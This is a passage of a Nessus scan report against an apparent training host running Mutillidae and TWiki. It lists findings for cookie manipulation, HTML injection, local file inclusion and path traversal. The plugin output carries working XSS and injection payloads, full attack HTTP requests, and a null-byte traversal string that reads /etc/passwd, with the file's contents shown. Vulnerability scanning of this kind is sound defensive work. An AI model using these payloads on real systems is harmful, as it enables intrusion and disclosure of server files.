4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

### References

---

XREF	CWE:472
XREF	CWE:642
XREF	CWE:715
XREF	CWE:722

### Plugin Information

---

Published: 2010/01/25, Modified: 2022/04/11

## Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to cookie manipulation :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=<script>document.cookie="testxml=4834;"</script>

----- output -----
<a href="/index.php?page=login.php">Login/Register</a>
</td>
<td><a href="/index.php?do=toggle-hints&page=<script>document.cookie="testxml=4834;"</script>">Toggle Hints</a></td><td><a href="/index.php?do=toggle-security&page=<script>document.cookie="testxml=4834;"</script>">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="/index.php?page=show-log.php">View Log</a></td>
-----

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=<script>document.cookie="testxml=4834;"</script>

----- output -----
<a href="/index.php?page=login.php">Login/Register</a>
</td>
<td><a href="/index.php?do=toggle-hints&page=<script>document.cookie="testxml=4834;"</script>">Toggle Hints</a></td><td><a href="/index.php?do=toggle-security&page=<script>document.cookie="testxml=4834;"</script>">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="/index.php?page=show-log.php">View Log</a></td>
-----

Using the POST HTTP method, Nessus found that :

+ The following resources may be vulnerable to cookie manipulation :

/mutillidae/index.php [do=toggle-hints&page=<script>document.cookie="testxml=4834;"</script>&username=anonymous]

----- output -----
<a href="/index.php?page=login.php">Login/Register</a>
</td>
<td><a href="/index.php?do=toggle-hints&page=<script>document.cookie="testxml=4834;"</script>">Toggle Hints</a></td><td><a href="/index.php?do=toggle-security&page=<script>document.cookie="testxml=4834;"</script>">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="/index.php?page=show-log.php">View Log</a></td>
-----
```

## 49067 - CGI Generic HTML Injections (quick test)

### Synopsis

---

The remote web server may be prone to HTML injections.

### Description

---

The remote web server hosts CGI scripts that fail to adequately sanitize request strings with malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML to be executed in a user's browser within the security context of the affected site.

The remote web server may be vulnerable to IFRAME injections or cross-site scripting attacks :

- IFRAME injections allow 'virtual defacement' that might scare or anger gullible users. Such injections are sometimes implemented for 'phishing' attacks.
- XSS are extensively tested by four other scripts.
- Some applications (e.g. web forums) authorize a subset of HTML without any ill effect. In this case, ignore this warning.

### See Also

---

<http://www.nessus.org/u?602759bc>

### Solution

---

Either restrict access to the vulnerable application or contact the vendor for an update.

### Risk Factor

---

Medium

### CVSS v2.0 Base Score

---

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

### References

---

XREF	CWE:80
XREF	CWE:86

### Plugin Information

---

Published: 2010/09/01, Modified: 2021/01/19

### Plugin Output

---

tcp/80/www



Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to HTML injection :

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=<"ksceid%0A">

----- output -----

```
<a href= "./index.php?page=login.php">Login/Register</a>
</td>
<td><a href= "./index.php?do=toggle-hints&page=<"ksceid
>">Toggle Hints</a></td><td><a href= "./index.php?do=toggle-se [...]
>">Toggle Security</a></td>
-----
```

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=<"ksceid%0A">

----- output -----

```
<a href= "./index.php?page=login.php">Login/Register</a>
</td>
<td><a href= "./index.php?do=toggle-hints&page=<"ksceid
>">Toggle Hints</a></td><td><a href= "./index.php?do=toggle-se [...]
>">Toggle Security</a></td>
-----
```

+ The 'template' parameter of the /twiki/bin/oops/Main/WebHomemailto:webmasteryour/company CGI :

/twiki/bin/oops/Main/WebHomemailto:webmasteryour/company?template=<"ksceid%0A">

----- output -----

```
<html><body>
<h1>TWiki Installation Error</h1>
Template file <"ksceid
>.tmpl not found or template directory
/var/www/twiki/templates not found.<p />
-----
```

Clicking directly on these URLs should exhibit the issue :  
(you will probably need to read the HTML source)

http://192.168.50.101/mutillidae/index.php?page=<"ksceid%0A">  
http://192.168.50.101/mutillidae/?page=<"ksceid%0A">

## 42872 - CGI Generic Local File Inclusion (2nd pass)

### Synopsis

Arbitrary code may be run on this server.

### Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a local file and disclose its contents, or even execute arbitrary code on the remote host.

### See Also

[https://en.wikipedia.org/wiki/Remote\\_File\\_Inclusion](https://en.wikipedia.org/wiki/Remote_File_Inclusion)

### Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

### Risk Factor

Medium

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### References

XREF	CWE:73
XREF	CWE:78
XREF	CWE:98
XREF	CWE:473
XREF	CWE:632
XREF	CWE:714
XREF	CWE:727
XREF	CWE:928
XREF	CWE:929

### Plugin Information

Published: 2009/11/19, Modified: 2021/01/19

### Plugin Output

tcp/80/www

```

----- request -----
GET /mutillidae/index.php?page=<IMG%20SRC="javascript:alert(104);"> HTTP/1.1
Host: 192.168.50.101
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
-----

----- output -----
<!-- Begin Content -->
<br />
<b>Warning</b>: include(&lt;IMG SRC=&quot;javascript:alert(104)&quot;&
gt;)<a href='function.include'>function.include</a>]: failed to open s
tream: No such file or directory in <b>/var/www/mutillidae/index.php</b>
on line <b>469</b><br />
<br />
<b>Warning</b>: include() [<a href='function.include'>function.in [...]
-----

----- request -----
POST /mutillidae/index.php HTTP/1.1
Host: 192.168.50.101
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Cookie: PHPSESSID=7201d72f64234b4a7b1106e72408727f
Content-Length: 74
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
do=toggle-hints&page=<IMG SRC="javascript:alert(104);">&username=anonymous-----

----- output -----
<!-- Begin Content -->
<br />
<b>Warning</b>: include(&lt;IMG SRC=&quot;javascript:alert(104)&quot;&
gt;)<a href='function.include'>function.include</a>]: failed to open s
tream: No such file or directory in <b>/var/www/mutillidae/index.php</b>
on line <b>469</b><br />
<br />
<b>Warning</b>: include() [<a href='function.include'>function.in [...]
-----

----- request -----
GET /mutillidae/?page=<IMG%20SRC="javascript:alert(104);"> HTTP/1.1
Host: 192.168.50.101
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible [...]
```

## 39467 - CGI Generic Path Traversal

### Synopsis

---

Arbitrary files may be accessed or executed on the remote host.

### Description

---

The remote web server hosts CGI scripts that fail to adequately sanitize request strings and are affected by directory traversal or local files inclusion vulnerabilities.

By leveraging this issue, an attacker may be able to read arbitrary files on the web server or execute commands.

### See Also

---

[https://en.wikipedia.org/wiki/Directory\\_traversal](https://en.wikipedia.org/wiki/Directory_traversal)

<http://cwe.mitre.org/data/definitions/22.html>

<http://projects.webappsec.org/w/page/13246952/Path%20Traversal>

<http://projects.webappsec.org/w/page/13246949/Null%20Byte%20Injection>

<http://www.nessus.org/u?4de3840d>

### Solution

---

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade to address path traversal flaws.

### Risk Factor

---

Medium

### CVSS v3.0 Base Score

---

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

### CVSS v2.0 Base Score

---

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

### References

---

XREF	OWASP:OWASP-AZ-001
XREF	CWE:21
XREF	CWE:22
XREF	CWE:632
XREF	CWE:715
XREF	CWE:723

XREF	CWE:813
XREF	CWE:928
XREF	CWE:932

## Plugin Information

---

Published: 2009/06/19, Modified: 2022/04/07

## Plugin Output

---

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to directory traversal :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=../../../../../../../../etc/passwd%00index.html

----- output -----
<blockquote>
<!-- Begin Content -->
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
-----
```